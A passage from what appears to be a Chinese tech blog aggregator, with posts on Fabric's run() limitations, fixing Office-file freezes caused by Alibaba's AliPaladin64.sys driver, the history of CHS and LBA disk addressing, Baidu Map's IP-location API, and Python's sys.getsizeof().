  • 每次调用 run() 方法时,它要等所有主机都执行完,才会返回结果,这意味着先执行完的主机会被阻塞。更为致命的是,如果其中一台主机执行时出了异常,整个 run() 方法就抛异常,这意味着每次使用 run() 方法时,都需要作异常捕获
  • run() 方法支持执行单条 shell 命令,但是命令的状态不会传递。假设先在一个 run() 方法中运行 cd 命令切到 A 目录(非根目录),再在下一个 run() 方法创建一个文件,最终结果是该文件并不在 A 目录,而是在默认目录。解决办法是用“&&”连接起多条命令,略显麻烦
这几个问题在 Fabric 的 Github issue 中,被不同的人反复提出,但是还没有得到很好的回应……
言归正传,本文主要分析了 Fabric 在批量管理服务器时的实现方案,阅读其源码,可以了解到串行/并发典型场景的用法,以及类定义、类继承、多线程、异常处理等内容,最后,我们还揭示出了它的几个特性缺陷。
感谢阅读。最后,附上 Fabric 教程:https://mp.weixin.qq.com/s/UHtPaxO2ojql5ps4hTn3Vg

March 14, 2020 12:00 AM

March 12, 2020

anji66

打开微信接收的Word、Excel文档死机

这个问题困扰我很久了,最开始发现的时候是在微信接收同事发过来的Excel文件,打开的一瞬间,鼠标就不动了,发现竟然死机了,还不是假死,连numberlock都按不灭了,只能强制关机重启。一直知道这问题,只是接文件的频率不高,所以也就没在意。如今疫情期间,在线传文件的频率明显提高,这三天两头的死机谁吃的消,所以下定决心找一下原因看看能否解决。


首先怀疑文件中毒

因为接收图片文件什么的倒是没啥,都是office文件死机,所以第一个直觉必然是文件中毒,毕竟早些年被office中毒坑怕了。所以第一要务就是全盘杀毒,保证系统没有中毒的情况。然后接收到的文件也右键查杀,但是当打开这些文件的时候,依然嘎嘣脆,秒死。


找到疑似罪魁祸首

一直没查到原因,只好万能百度,原来网上一大堆人遇到类似问题,但似乎都没有合理的原因分析和解决方案。有很多人说卸载了阿里旺旺问题就解决了,也有人跟帖说卸载旺旺没用,该死机照死机不误。所以就刻意留意了一下我公司的办公电脑到是接收文件死机概率印象中确实没自己的电脑这么高,显然办公电脑上没有旺旺。所以罪魁祸首如果是旺旺有一定的置信度。


一则高人的跟帖

在百度知道中看到这样一段文字:“是阿里巴巴\AliPaladin64.sys文档导致,此文件pre_read回调,判断user mode使用了错误的函数,与管家无关,建议反馈给对应软件方,谢谢。您可以修改该文件名验证(修改不影响功能),路径为C:\Windows\system32\drivers\AliPaladin64.sys”这段描述来源很像是从某个软件BUG反馈里面的专业回答。不知道百度知道这个到底是搬运的还是高人回复。


尝试对AliPaladin64.sys重命名

简单有效的验证下死机会不会是这个问题,很简单,把这文件改个名字,再用微信试了下接收文件。打开文档神奇竟然没有死机,所以问题或许就出在这里。然后去打开了下旺旺,发现这文件改了名字以后没啥影响,旺旺正常使用,所以也就没有改回去了。

未标题-1.jpg


第二天死机重现

原以为昨天已经解决了这个问题,哪知道今天又死机了,所以马上去看了下这个文件,发现又出现了一个新的AliPaladin64.sys文件,和改名后的那个并列了。所以我敢肯定,死机确实和它有关。只是昨天的处理方式太小儿科了。以为打个针吃个药,病就好了,是我太天真。


刮骨疗毒,对其深入手术防范

其实知道这文件能自行生成,那就知道如何对付它了,我写一个我自己的AliPaladin64.sys文件,并拒绝任何程序对它进行修改不就好了。


1、删了AliPaladin64.sys这个文件。当然直接删除肯定是干不掉了,我电脑上原本用的是电脑管家 ,用管家粉碎,虽然提示粉碎成功,但是文件依然还在,所以卸了管家,上火绒,火绒的口碑这两年确实好的不得了,下载安装后,粉碎AliPaladin64.sys。


2、新建一个txt文件,重命名为AliPaladin64.sys,将这个文件拖到C:\Windows\system32\drivers\目录中,好久不去倒腾组策略,干脆用火绒做策略保护算了。火绒的防护中心有一个高级防护,开启自定义防护。


3、自定义防护规则。添加规则,规则名称不填就叫自定义吧,发起程序默认星号(也就是所有程序),添加保护对象,就是刚才我们自己新建的AliPaladin64.sys文件。保护动作勾选创建、读取、修改、删除,触犯规则的动作选择直接阻止。

未标题-2.jpg


4、监控触发规则的幽灵。没多久,火绒安全日志就有新内容了,没想到第一个触发规则的竟然是explorer,触发类型是读取,艹,莫不是我还是中毒了,再用火绒来一遍杀毒,万幸,没有中毒。想了想,因为drivers是一个驱动文件夹,所以当有新文件生产,explorer去读取似乎是合理的。又多了一段时间,终于又产生了新的告警日志。这次触发的类型终于是写入了,触发规则的是一个叫AlibabaProtect.exe的程序。很显然这个程序发现文件已经存在,但是因为是一个空文件,所以尝试接入它自己的内容被拦截了。

未标题-3.jpg


未标题-4.jpg


5、格杀罪魁祸首。根据日志提示目录找到C:\Program Files (x86)\AlibabaProtect\这个目录下,是有多个版本号的子目录,直接一并用火绒粉碎。等等,为什么不把上一级AlibabaProtect这个目录一起干掉?别急,得利用它创建自定义规则。


6、更新自定义防护规则。上面第四步中我们创建了一个没有命名的自定义规则,这次我们更新一下规则内容,顺道给这个自定义规则命个名吧,就叫它AlibabaProtect。添加一个规则,保护对象就是刚刚这个目录:C:\Program Files (x86)\AlibabaProtect\。保护动作勾选创建、读取、修改、删除,触犯规则的动作选择直接阻止。最后保存退出。

未标题-5.jpg


未标题-6.jpg


7、株连九族。因为昨天改了文件,今天我没开旺旺,这玩意儿到底是哪儿来的,并且这个AlibabaProtect应该也不单单是旺旺一个人在用,可能是阿里的一个通用基础程序。不管它,看下启动项和计划任务,和阿里有关的全部禁止。我这里还真是看到计划任务里面有个AliUpdater的任务。直接禁止掉。

未标题-7.jpg


8、检验下旺旺,淘宝能否正常使用。旺旺打开,沟通都没问题,淘宝也能正常下单购买支付。所以做了上述措施后,不影响使用。


到此这个问题终于被根除了,后面就去百度了一下AlibabaProtect.exe,网上也有一些删除教程,包括操作注册表等。原理都差不多,需要的朋友不妨也可以试试。水完,碎觉,继续为抗疫做贡献。


by 西枫里 at March 12, 2020 02:54 PM

March 06, 2020

farseerfc

柱面-磁頭-扇區尋址的一些舊事

在 SSD 這種新興存儲設備普及之前,很長一段時間硬盤是個人計算機的主要存儲設備。 更往前的磁帶機不常見於個人計算機,軟盤的地位很快被硬盤取代,到 SSD 出現爲止像 MiniDiscDVD-RAM 等存儲設備也從未能挑戰過硬盤的地位。硬盤作爲主要存儲設備,自然也影響了文件系統的設計。

這篇筆記稍微聊一聊硬盤這種存儲設備的尋址方式對早期文件系統設計的一些影響,特別是 柱面-磁頭-扇區尋址(Cylinder-head-sector addressing, 簡稱CHS尋址)的起源和發展。 大部分內容來自維基百科 Cylinder-head-sector 詞條 這裏只是記錄筆記。現今的硬盤已經不再採用 CHS 尋址,其影響卻還能在一些文件系統設計中看到影子。

柱面、磁頭、扇區以及相關術語

磁盤示意圖(來自維基百科 Cylinder-head-sector 詞條
chs-illustrate-trans.svg

如右圖所示,一塊硬盤(Hard Disk Drive, HDD)是一個圓柱體轉軸上套着一些磁碟片(platter), 然後有一條磁頭臂(actuator arm)插入磁碟片間的位置,加上一組控制芯片(controller)。 每個磁碟片有上下兩面塗有磁性材質,磁頭臂上有一組磁頭(head),每個磁頭對應磁盤的一個面, 所以比如一個 3 碟的硬盤會有 6 個磁頭。

每個磁碟片上定義了很多同心圓的磁頭軌道,叫做磁道(track),磁道位於盤面上不同半徑的位置, 通過旋轉磁碟臂能讓磁頭移動到特定的半徑上,從而讓讀寫磁頭在不同的磁道間跳轉。 不同磁頭上同磁道的同心圓共同組成一個柱面(cylinder),或者說移動磁碟臂能選定磁盤中的一個柱面。 磁道上按等角度切分成多個小段,叫做扇區(sector),每個扇區是讀寫數據時採用的最小單元。 早期在 IBM 大型機之類上使用的硬盤的扇區大小比較小,到 IBM PC 開始個人計算機用的硬盤扇區基本被統一到 512 字節。現代硬盤內部可能採用 Advanced Format 使用 4K 字節扇區。

在早期軟盤和硬盤的尋址方式被稱作「柱面-磁頭-扇區尋址」,簡稱 CHS 尋址, 是因爲這三個參數是軟件交給硬件定位到某個具體扇區單元時使用的參數。 首先柱面參數讓磁頭臂移動到某個半徑上,尋址到某個柱面,然後激活某個磁頭,然後隨着盤面旋轉, 磁頭定位到某個扇區上。

「柱面-磁頭-扇區」這個尋址方式,聽起來可能不太符合直覺,尤其是柱面的概念。直覺上, 可能更合理的尋址方式是「盤片-盤面-磁道-扇區」,而柱面在這裏是同磁道不同盤片盤面構成的一個集合。 不過理解了磁盤的機械結構的話,柱面的概念就比較合理了,尋址時先驅動磁頭臂旋轉, 磁頭臂上多個磁頭一起飛到某個磁道上,從而運動磁頭臂的動作定義了一個柱面。 柱面和磁頭(CH)組合起來能定位到某個特定的磁道,畫張圖大概如下圖所示:

tikz diagram

上圖中值得注意的是磁道的編號方式,我用相同的顏色畫出了相同的磁道。因爲按照 CHS 的順序尋址,所以先定位柱面,然後選定磁頭。磁盤上按半徑從外向內定義柱面的編號,最外圈的磁道位於 0號柱面,由0號磁頭開始。隨着柱面編號增加,逐步從外圈定位到內圈。

物理 CHS 尋址

以上術語中,柱面號和磁頭號直接對應了硬盤上的物理組成部分,所以在物理 CHS 尋址方式下,通過扇區地址的寫法能對應到扇區的具體物理位置。之所以這樣描述扇區, 是因爲早期的軟盤和硬盤驅動器沒有內置的控制芯片,可以完全由宿主系統執行驅動程序驅動。

在 IBM PC 上,驅動軟盤和硬盤的是 CPU 執行位於主板 BIOS (Basic Input/Output System) 中的程序,具體來說操作系統(比如DOS)和應用程序調用 INT 13H 中斷,通過 AH=02H/03H 選擇讀/寫操作,BIOS 在中斷表中註冊的 13H 中斷處理程序執行在 CPU 上完成讀寫請求。調用 INT 13H 讀寫扇區的時候,CPU 先通過 INT 13H AH=0CH 控制硬盤的磁頭臂旋轉到特定柱面上,然後選定具體磁頭,讓磁頭保持在磁道上讀數據, 通過忙輪訓的方式等待要讀寫的扇區旋轉到磁頭下方,從而讀到所需扇區的數據。在 DOS 之後的操作系統, 比如早期的 Windows 和 Linux 和 BSD 能以覆蓋中斷程序入口表的方式提供升級版本的這些操作替代 BIOS 的程序。

以上過程中可以看出兩點觀察:

  1. CHS 尋址下,跨磁道的尋址(不同 CH 值),和磁道內的尋址(同 CH 不同 S ),是本質上不同的操作。跨磁道的尋址有移動磁頭臂的動作,會比磁道內尋址花費更多時間。
  2. 通過扇區號的磁道內尋址是個忙輪訓操作,需要佔用完整 CPU 週期。這也隱含扇區號在一個磁道內的物理排列不必是連續的。

實際上扇區號的物理排列的確不是連續的,每個物理扇區中除了用512字節記錄扇區本身的數據, 還有扇區的開始記錄和結束記錄,寫有扇區編號和扇區校驗碼。每讀到一個扇區, CPU 可能需要做一些額外操作(比如計算比對校驗、寫入內存緩衝區、調整內存段頁映射) 後纔能繼續讀下一個扇區,如果物理排列上連續編號扇區,可能等 CPU 做完這些事情後磁頭已經旋轉到之後幾個扇區上了。所以出廠時做磁盤低級格式化的時候, 會跳躍着給扇區編號,給 CPU 留足處理時間。比如下圖:

tikz diagram

上圖中假設有3個柱面,每個柱面6個磁頭,每個磁道內11個扇區,並且畫出了三種不同的扇區編號跳轉情況, 分別是磁道內的扇區跳轉(+3),柱面內的磁頭跳轉(+5),以及柱面間跳轉(+10)。 實際磁盤上的柱面數、扇區數要多很多,尋址時需要跳轉的距離也可能更長,這裏只是舉例說明。 圖中和實際情況相同的是,柱面號和磁頭號從 0 開始編號,而扇區號從 1 開始編號, 所以做邏輯地址換算的時候要考慮編號差異。

早期 IBM PC 的 BIOS 使用 24bit 的 CHS 地址,其中 10bit 柱面(C)、 8bit 磁頭(H)、 6bit 扇區(S)。從而用物理 CHS 尋址方式的軟盤和硬盤驅動器最多可以尋址 1024 個柱面,256 個磁頭, 63 個扇區,其中扇區數因爲從 1 開始編號所以少了 1 個可尋址範圍。比如 3.5 吋高密度(HD)軟盤有雙面, 出廠時每面 80 磁道,每磁道 18 扇區,從而能算出 1,474,560 字節的容量。

如此跳躍編號扇區之後,不是總能給磁道中所有扇區編號,可能在磁道的末尾位置留幾個沒有使用的扇區空間, 這些是磁道內的保留扇區,可以在發現壞扇區後使用這些隱藏扇區作爲替代扇區。當然讀寫替代扇區的時候 因爲扇區尋址不連續可能會有一定性能損失。

因爲物理 CHS 尋址下,磁盤由 CPU 執行驅動程序來驅動,所以以上扇區跳躍的長短實際是由 CPU 的速度等因素決定的,理論上 CPU 越快,跳躍間隔可以越短,從而磁盤讀寫速度也能加快。磁盤出廠時, 廠商並不知道使用磁盤的計算機會是怎樣的性能,所以只能保守地根據最慢的 CPU 比如 IBM 初代 PC 搭配的 8086 的速度來決定跳躍間隔。所以在當年早期玩家們流傳着這樣一個操作:買到新硬盤, 或者升級了電腦配置之後,對硬盤做一次 低級格式化(Low level formating) ,聰明的低級格式化程序能智能安排扇區編號,提升硬盤讀寫速度,也能跳過已知壞道位置繼續編號, 甚至可能將更多保留扇區暴露成可用扇區。這對現代有硬盤控制器的硬盤而言已經沒有意義了。

邏輯 CHS 尋址

隨着硬盤容量不斷增加, BIOS 中用來 CHS 尋址的地址空間逐漸不夠用了。早期 24bit 地址按 C H S 的順序分爲 10 8 6 的位數,用 8bit 來尋址磁頭最多可以有 256 個磁頭,而只有 10bit 來尋址柱面,就只能有 1024 個柱面。最初 IBM 這麼劃分是因爲早期用於 IBM 大型機之類的硬盤可以有 厚厚一疊的盤片組,同樣的尋址方式就直接用於了 IBM PC 。而 PC 用的硬盤迫於硬盤倉空間大小, 有厚度限制,硬盤中物理盤面可能只有四五個盤片,硬盤容量增加主要是增加盤片表面的數據密度而非增加盤片數量。

於是逐漸地,硬盤廠商開始對 CHS 尋址的地址空間做一些手腳。比如最初的簡單想法是重新定義 CH ,將一些磁頭數挪用做柱面數。從而有了邏輯 CHS 尋址,其中 CH 是固定一組,通過簡單換算從 CH 值找到物理的柱面和磁頭數。結合 CH 而不映射 S 的優勢在於,從操作系統和文件系統來看依然能根據邏輯 CHS 地址估算出地址跳轉所需大概的時間,只是原本一次切換磁頭的動作可能變成一次短距離的切換柱面。

此時的操作系統和文件系統已經開始出現針對 CHS 尋址特點的優化方式, 儘量減少跨磁道的尋址能一定程度提升讀寫速度,跨磁道時的磁道間距離也會影響尋道時間, 文件系統可能會根據CHS地址來安排數據結構,優化這些尋址時間。

即便使用沒有針對 CHS 尋址方式優化過的操作系統和文件系統,比如侷限在早期 Windows 和 FAT 系文件系統上,早期這些桌面系統用戶們仍然能自己優化磁盤讀寫性能:通過分區。 分區是硬盤上連續的一段空間,早期由於 BIOS 和 bootloader 的一些技術限制, 每個分區必須對齊到柱面大小上。早期 PC 玩家們通過把一個大硬盤切分成多個小分區, 使用時儘量保持近期讀寫針對同一個分區,就可以減少尋址時的額外開銷,改善讀寫速度。

於是隱含地,CHS 尋址導致底層硬盤和上層操作系統之間有一層性能約定: 連續讀寫保證最快的讀寫速度 。硬盤實現 CHS 尋址時,調整扇區編號方式讓連續的 CHS 地址有最快讀寫速度,文件系統也根據這個約定, 按照 CHS 地址的跳躍來估算讀寫速度耗時並針對性優化。

區位記錄(Zone bit recoding, ZBR)

以上物理 CHS 尋址,其實依賴一個假設: 每個磁道上有同樣數量的扇區 。早期硬盤上也的確遵循這個假設, 所以我們上面的圖示裏纔能把一個盤面上的扇區展開成一張長方形的表格,因爲每個磁道的扇區數是一樣的。 實際上當時的硬盤都是恆定角速度(constant angular velocity, CAV)的方式讀寫,無論磁頭在哪兒, 盤片都旋轉保持恆定的轉速,所以對磁頭來說在單位時間內轉過的角度影響讀寫二進制位的數量, 而磁頭掃過的面積在這裏沒有影響。

區位記錄(來自維基百科 Zone bit recording 詞條
DiskStructure.svg

不過隨着硬盤容量增加,盤面的數據密度也隨之增加,單位面積中理論能容納的二進制位數量有限。 理論上,如果保持相同密度的話,盤片外圈能比內圈容納更多數據。因此硬盤廠商們開始在盤面上將磁道劃分出 區塊(zone),外圈區塊中的磁道可以比內圈區塊中的磁道多放入一些扇區。這種方式下生產出的硬盤叫 區位記錄硬盤(Zone bit recoding, ZBR),相對的傳統固定磁道中扇區數的硬盤就被叫做恆定角速度(CAV) 硬盤。

如右圖所示,區位記錄在硬盤上將多個柱面組合成一個區塊,區塊內的磁道有相同數量的扇區, 而不同區塊的磁道可以有不同數量的扇區,外圈區塊比內圈區塊有更多扇區。

顯然要支持 ZBR ,物理 CHS 尋址方式不再有效,於是 ZBR 硬盤將原本簡單的地址換算電路升級爲更複雜的磁盤控制器芯片,替代 CPU 來驅動硬盤,把來自文件系統的邏輯 CHS 地址通過換算轉換到物理 CHS 地址,並且驅動磁頭做跳轉和尋址。 從而有了獨立的控制芯片之後,硬盤讀寫扇區的速度不再受 CPU 速度影響。有了完整的邏輯-物理地址轉換後, 邏輯扇區編號不再對應物理扇區編號,上述編號跳轉和壞扇區處理之類的事情都由磁盤控制芯片代爲完成。 從而 CHS 地址已經喪失了物理意義,只留下 連續讀寫保證最快的讀寫速度 這樣的性能約定。

有了 ZBR 之後,硬盤讀寫速度也不再恆定,雖然仍然保持恆定轉速,但是讀寫外圈磁道時單位時間掃過的扇區 多於讀寫內圈磁道時掃過的扇區。所以 ZBR 硬盤的低端地址比高端地址有更快的讀寫速度, 通過硬盤測速軟件能觀察到階梯狀的「掉速」現象。

邏輯地址轉換也會造成邏輯 CHS 尋址能訪問到的扇區數少於物理 CHS 尋址的現象, 磁盤中扇區被重新編號後可能有一些扇區剩餘,於是 ZBR 硬盤的出廠低級格式化可能會均分這些訪問不到的扇區 給每個磁道作爲保留扇區,留作壞扇區後備。

另外有了獨立磁盤控制器芯片之後,扇區內的校驗算法也不再受制於 BIOS INT 13H 接口。 原本 BIOS 的 INT 13H 接口定義了每個扇區 512 字節,額外配有 4 字節校驗, 32bit 的校驗碼對 4096bit 的數據來說,只能允許一些簡單的校驗算法,比如 32bit CRC ,或者比如 漢明碼 對 4096bit 的數據需要 13bit 的校驗。突破了校驗算法限制後硬盤可以在物理扇區中放更多校驗位,使用更複雜的 ECC 算法,提供更強的容錯性。 IDE/SATA 接口的硬盤由內部控制器負責計算和比對校驗,而 SAS 接口的硬盤(主要用於服務器)可以讀取 520/528 字節長度的扇區,包含額外校驗位。

通過 ZBR ,邏輯 CHS 尋址不再侷限在具體每磁道扇區數等物理限制上,但是仍然侷限在 CHS 總位數。 24bit 的 CHS 地址能尋址 \(1024*256*63 = 16515072\) 個扇區,也就是 8064MiB 的空間。 於是早期很多操作系統有 7.8G 硬盤大小的限制。後來 ATA/IDE 標準提升了 CHS 尋址數量,從 24bit 到 28bit 到 32bit ,不過在系統引導早期仍然依賴 BIOS 最基本的 24bit CHS 尋址能力,於是那時候安裝系統時要求引導程序裝在前 8G 範圍內也是這個原因。

從 CHS 到 LBA

隨着硬盤大小不斷提升,無論是操作系統軟件層,還是硬盤廠商硬件層,都逐漸意識到邏輯 CHS 尋址是兩邊相互欺騙對方的騙局:文件系統根據假的 CHS 地址的提示苦苦優化,而硬盤控制器又要把物理 CHS 模擬到假的 CHS 地址上以兼容 BIOS 和操作系統。和 CS 領域太多別的事情一樣, CHS 尋址過早地暴露出太多底層抽象細節,而上層軟件又轉而依賴於這些暴露出的細節進行優化, 底層細節的變動使得上層優化不再是有意義的優化。

於是 ATA 標準 引入了 邏輯塊尋址(Logical Block Addressing, LBA) 來替代 CHS 尋址,解決其中的混亂。LBA 的思路其實就是邏輯 CHS 尋址的簡單換算,因爲 CHS 尋址下 S 從 1 開始計算,而 LBA 使用連續扇區編號,從 0 開始編號,所以換算公式如下:

\begin{equation*} LBA 地址 = ( C \times 磁頭數 + H ) \times 扇區數 + ( S - 1 ) \end{equation*}

使用 LBA 尋址,操作系統和文件系統直接尋址一個連續地址空間中的扇區號, 不應該關心柱面和磁頭之類的物理參數,將這些物理細節交由磁盤控制器。 對操作系統和文件系統這些上層軟件而言,LBA尋址的抽象仍然保證了 連續讀寫提供最快的讀寫速度 ,文件系統仍然會嘗試根據 LBA 地址優化,儘量連續讀寫從而減少尋道時間。

從 CHS 尋址切換到 LBA 尋址,需要硬盤和操作系統兩方面的努力,所以很長一段時間, 硬盤同時支持兩種尋址方式,在控制器內部做轉換。最後需要放棄支持的是深植了 CHS 尋址的 BIOS ,使用 BIOS 引導的 MBR 引導程序還在用 CHS 尋址方式讀取數據加載操作系統,直到大家都切換到 UEFI 。

並且隨着硬盤使用 LBA 尋址,導致上層軟件很難預測底層硬件實際切換柱面切換磁頭之類的時機, 潛在地導致一些性能不確定性。於是硬盤控制器在除了負責實際驅動物理磁盤之外, 還開始負責維護一塊盤內緩衝區,實現盤內的 IO 隊列。緩衝區的存在允許磁盤控制器同時接收更多來自上層軟件 的讀寫請求,轉換成實際物理佈局參數,並根據磁盤物理佈局來調整讀寫順序,增加總體吞吐率。 比如 ATA TCQSATANCQ 就是這樣的盤內隊列協議。

當然有緩衝區和盤內隊列的存在也使得突然斷電之類的情況下更難保證數據一致性,於是 SCSI/SATA 標準開始約定特殊的請求,從操作系統能發送命令讓底層設備清空自己的讀寫隊列。

疊瓦磁記錄(Shingled Magnetic Recording, SMR)

逐漸從歷史講到了現在,隨着硬盤記錄密度的不斷增加,硬盤廠商們也在不斷發明新技術嘗試突破磁盤記錄的物理極限。 因爲有了在硬盤上獨立的控制器,並且切換到了邏輯塊地址(LBA)的尋址方式, 操作系統大部分時候不用再關心底層硬盤的物理技術革新,比如垂直寫入技術(perpendicular magnetic recording, PMR)將磁頭記錄方式從水平轉換成垂直記錄,增加了記錄密度,但不影響尋址方式。

不過技術革新中也有影響尋址方式的技術,比如 疊瓦磁記錄技術(Shingled Magnetic Recording, SMR) 。 SMR 技術基於一個技術事實:物理上磁頭的寫入頭(write head)需要比讀取頭(read head )佔用更大面積,如果按照寫入頭的物理極限放置磁記錄,那麼對於讀取頭會有很多空間浪費。從而 SMR 試圖讓相鄰磁道的寫入有部分重疊,從而增加記錄密度。即便重疊了相鄰磁道,讀取磁道還是能隨機定位, 而寫入磁道會覆蓋它後面疊加上的磁道,所以寫入磁道必須嚴格按地址順序寫入。爲了滿足隨機順序寫入的需要, SMR 硬盤把連續的幾個磁道組織成區塊(zone),在一個區塊內必須按順序寫入。 這裏的區塊可以和區位記錄(ZBR)是同樣的區塊,也可以獨立於 ZBR 做不同大小的區塊分割。

這種區塊內連續寫入的要求,很像是 SSD 這種基於閃存介質的記錄方式, SMR 硬盤也同樣像 SSD 一樣在磁盤控制器內引入 日誌結構式的記錄方式,採用類似的 GC 算法 ,收到隨機寫入請求的時候,在區塊間執行 GC 搬運數據塊,對操作系統提供可以任意寫入的抽象接口。

當然這種類似閃存介質的 FTL 的抽象有對讀寫性能的直接影響。SMR 硬盤可以將這些細節完全隱藏起來( Device Managed),或者完全暴露給宿主系統(Host Managed ),或者在讀寫時隱藏細節的同時在宿主想查詢的時候提供接口查詢(Host Aware)。和 SSD 一樣,消費級的 SMR 硬盤通常選擇隱藏細節只在被詢問時暴露,完全暴露細節的設備通常只在企業服務器級別 的產品中看到。

可以期待,隨着 SMR 硬盤的逐漸普及,文件系統設計中也將更多考慮 SMR 的特性加以優化。這些優化可能參考 對 SSD 的優化(比如儘量連續寫入),但是又不能完全照搬(比如 SSD 需要考慮寫平衡而 SMR 硬盤不需要,比如 SSD 不用擔心隨機尋道時間而 SMR 硬盤需要)。這些對現在和未來文件系統的設計提供了更多挑戰。

4KiB 扇區大小

不侷限於硬盤,存儲設備發展中另一個方向是增加扇區大小。如前所述,在應用於 PC 之前的硬盤設計也曾有過比 512 字節更小的扇區大小,而自從 PC 普及之後 512 字節扇區逐漸成爲主流, 甚至到了揮之不去的地步。隨着硬盤容量提升,直接尋址 512 字節的扇區顯得不再那麼高效, 文件系統內部也早已把多個扇區合併成一個邏輯簇(cluster)或者塊(block),按簇或塊的粒度管理。 在底層硬件同樣也是按照 512 字節大小劃分扇區,每個扇區都要獨立計算校驗,如果能增大扇區大小到比如 4KiB,將能更經濟地安排扇區校驗碼,從而得到更多可用容量。可見 512 字節扇區大小這一設計,和 CHS 尋址一樣,逐漸成爲了操作系統和硬盤廠商彼此間互相努力維護的謊言。

硬盤物理扇區提升爲 4KiB 大小的設計,叫做「 先進格式化(Advanced Format) 」,這樣的硬盤叫做先進格式化硬盤(AFD)。在此基礎上,硬盤控制器可以提供模擬 512 字節扇區的模擬層, 叫做 512e ,也可以直接提供 4K 大小的扇區給操作系統,叫做 4K native (4Kn)。 操作系統和文件系統要儘量避免依賴 512e 以提供最優性能,支持 4Kn 扇區尋址也是現在和未來 文件系統設計中一個重要挑戰。

雙磁頭臂(Dual Actuator)

除了提升容量,硬盤發展的另一個方向是提升讀寫速度。通過上述 CHS 尋址方式可見, 傳統方式下提升硬盤讀寫速度有兩種方式:

  1. 提升磁記錄密度
  2. 提升(磁頭臂和盤片)轉速

第一種方式提升記錄密度,在增加容量的同時也能提升硬盤讀寫速度,所以是長久以來硬盤廠商的主要方式。 第二種方式提升轉速則很快就遇到了物理瓶頸,硬盤以前是 5400rpm 現在最高能到 15000rpm 附近,高速旋轉的盤片就像一個螺旋槳一樣,外圈線速度已經到了接近聲速,很難再往上提升。 以及盤片轉速影響連續讀寫速度,而磁頭臂轉速影響尋道速度,高速尋道對磁頭臂旋轉有極高精度要求。

所以長久以來,衡量硬盤速度有兩項指標:連續讀寫速度和每秒操作數(IOPS),隨着容量提升, 也在提升連續讀寫速度,但是很難提升 IOPS ,相對而言隨機尋道所需的開銷越來越昂貴。

目前硬盤廠商們在嘗試一種新的方式提升硬盤 IOPS :增加一條磁頭臂。一個硬盤驅動器內封入兩組甚至多組 磁頭臂,每個磁頭臂能獨立旋轉,從而能獨立尋址定位。這樣的硬盤叫雙/多磁頭臂(Dual/Multi Actuator)硬盤。

從操作系統角度來看,雙磁頭臂硬盤更像是一根連接線上接有等容量的兩個獨立驅動器, 可以在盤內控制器上組 RAID0 ,或者把兩個磁頭臂都暴露給操作系統,由操作系統組 RAID0 或更智能地使用獨立尋址的能力。

結論(TL;DR)和預告

軟件層面的優化與硬件層面的革新一直是一組矛盾。長久以來文件系統和硬盤設備在關於尋址方式的磨合中, 逐漸演化出一條真理,也是我文中一直在強調的: 連續讀寫提供最快的讀寫速度 。文件系統總是能根據底層設備暴露出的一些抽象泄漏,比如物理 CHS 佈局,比如 512 字節扇區大小, 針對性做更多優化,但是隨着底層設備的技術革新這些優化也隨之成爲泡影。

從 SMR 技術中也能看出, 硬盤的讀寫接口也在逐漸向 SSD 的接口靠攏,從而文件系統的「優化」也在逐漸 向這種「傾向順序寫入」的方向優化。關於這些發展趨勢待我有空再談。

by farseerfc at March 06, 2020 06:45 AM

March 04, 2020

anji66

利用百度地图API来做IP定位

我这个博客在评论的时候会获取评论人的IP,并做个地理位置标注,这个需求很普遍很简单,也不需要精度,有个大概省市区就好了。一直都没找到合适的IP查询接口,以前IP138免费,后来这条路就走不通了,直接去爬这路也都断了,后来陆续网站少了诸如新浪,淘宝等接口,多数都不稳定。稳定的又是要收费的,倒是在聚合数据上发现也有挺便宜的接口卖,原打算接入。这不最近调百度地图接口看到竟然百度也提供了IP普通定位接口,关键是不要钱,你说这不香吗?这也不算个教程,话不多说,干。


首先注册百度地图开放平台账户

用的百度账户登录就行,然后创建一个应用,得到一个AK,后面要用。如图

未标题-1.jpg


其次打开开发文档

创建完应用后,点击顶部开发文档,随便点个文档进去,会有一个开发文档列表,找到普通IP定位服务,打开服务文档,就能看到接口地址了。

未标题-2.jpg


调试下接口信息

文档上有标准的接口返回信息,保险起见还是调试下接口数据吧。得到的数据内容和文档上一致。

未标题-3.jpg


开发自己的请求方法

就一个CURL没啥好说的,自己构造一下就完事了。这里说明一下拿到的数据,比如上图我的这个,CN|上海|上海|None|CHINANET|0|0,很显然百度对外提供的只到地级市,区县级没有提供,我测试了很多IP,区县级数据都是None,这也可以理解,毕竟基础运营商是按地级市公司做运营主体的。所以IP归属也都是地级市级别,不过这对我够用了。第二就是网络运营商,都是用的运营商代码简称。比如电信用的是CHINANET。我通过百度统计获取了大部分运营商的代码,列表如下,免得你去找了。

CHINANET中国电信(电信通)
UNICOM中国联通(网通)
CMNET中国移动(铁通)
CERNET教育网
BJENET北京教育信息网
WASU华数宽带(主要是浙江)
COLNET东方有线(主要是上海)
FOUNDERBN方正宽带(主要是北京)
TOPWAY-NET天威视讯(主要是深圳)
DXTNET
长城宽带、歌华有线等二级接入商


水完,睡觉,抗击疫情为国贡献去了~


by 西枫里 at March 04, 2020 01:28 PM

March 02, 2020

pythoncat

Python 在计算内存时应该注意的问题?

我之前的一篇文章,带大家揭晓了 Python 在给内置对象分配内存时的 5 个奇怪而有趣的小秘密。文中使用了sys.getsizeof()来计算内存,但是用这个方法计算时,可能会出现意料不到的问题。
文档中关于这个方法的介绍有两层意思:
  • 该方法用于获取一个对象的字节大小(bytes)
  • 它只计算直接占用的内存,而不计算对象内所引用对象的内存
也就是说,getsizeof() 并不是计算实际对象的字节大小,而是计算“占位对象”的大小。如果你想计算所有属性以及属性的属性的大小,getsizeof() 只会停留在第一层,这对于存在引用的对象,计算时就不准确。
例如列表 [1,2],getsizeof() 不会把列表内两个元素的实际大小算上,而只是计算了对它们的引用。
举一个形象的例子,我们把列表想象成一个箱子,把它存储的对象想象成一个个球,现在箱子里有两张纸条,写上了球 1 和球 2 的地址(球不在箱子里),getsizeof() 只是把整个箱子称重(含纸条),而没有根据纸条上地址,找到两个球一起称重。

1、计算的是什么?

我们先来看看列表对象的情况:
如图所示,单独计算 a 和 b 列表的结果是 36 和 48,然后把它们作为 c 列表的子元素时,该列表的计算结果却仅仅才 36。(PS:我用的是 32 位解释器)
如果不使用引用方式,而是直接把子列表写进去,例如 “d = [[1,2],[1,2,3,4,5]]”,这样计算 d 列表的结果也还是 36,因为子列表是独立的对象,在 d 列表中存储的是它们的 id。
也就是说:getsizeof() 方法在计算列表大小时,其结果跟元素个数相关,但跟元素本身的大小无关。
下面再看看字典的例子:
